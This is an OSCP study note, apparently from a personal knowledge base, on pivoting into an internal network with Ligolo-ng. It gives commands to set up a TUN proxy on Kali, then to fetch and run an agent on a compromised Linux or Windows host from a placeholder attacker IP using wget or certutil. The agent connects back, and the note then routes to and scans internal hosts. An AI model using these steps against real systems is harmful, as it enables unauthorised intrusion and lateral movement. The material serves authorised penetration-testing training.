04 Pivoting With Ligolo-ng
Created: 2026-07-24 13:50
#note
🔀 Pivoting Masterclass: Ligolo-ng Setup Guide
[!important] Why Ligolo-ng over Chisel/SOCKS?
Ligolo-ng creates a native TUN interface on your Kali machine. You can use standard tools (nmap,netexec,impacket,bloodhound.py,evil-winrm) directly against internal IP addresses without usingproxychains!
1. Setup on Kali (Proxy)
Create TUN Interface:
sudo ip tuntap add user <YOUR_USERNAME> mode tun ligolo sudo ip link set dev ligolo upLaunch Proxy Server:
./proxy -selfcert -laddr 0.0.0.0:11601
2. Setup on Compromised Target (Agent)
Transfer Agent:
- Linux:
wget http://<KALI_IP>:8000/agent - Windows:
certutil.exe -urlcache -f http://<KALI_IP>:8000/agent.exe agent.exe
- Linux:
Execute Agent & Connect Back:
- Linux:
./agent -connect <KALI_IP>:11601 -ignore-cert - Windows:
.\agent.exe -connect <KALI_IP>:11601 -ignore-cert
- Linux:
3. Activate Tunnel on Kali
Select Agent Session in Ligolo Proxy Console:
ligolo-ng » session [1] User@TARGET-MACHINE (192.168.1.50) ligolo-ng » session 1Add Network Route on Kali Host:
sudo ip route add 172.16.1.0/24 dev ligoloStart Tunnel:
[session 1] ligolo-ng » startVerify Connectivity:
nmap -Pn -p 445,3389 172.16.1.10
🔗 Useful External Links
Tags
#oscp #pivoting #ligolo-ng #tunneling #networking #active_directory
Local Knowledge Graph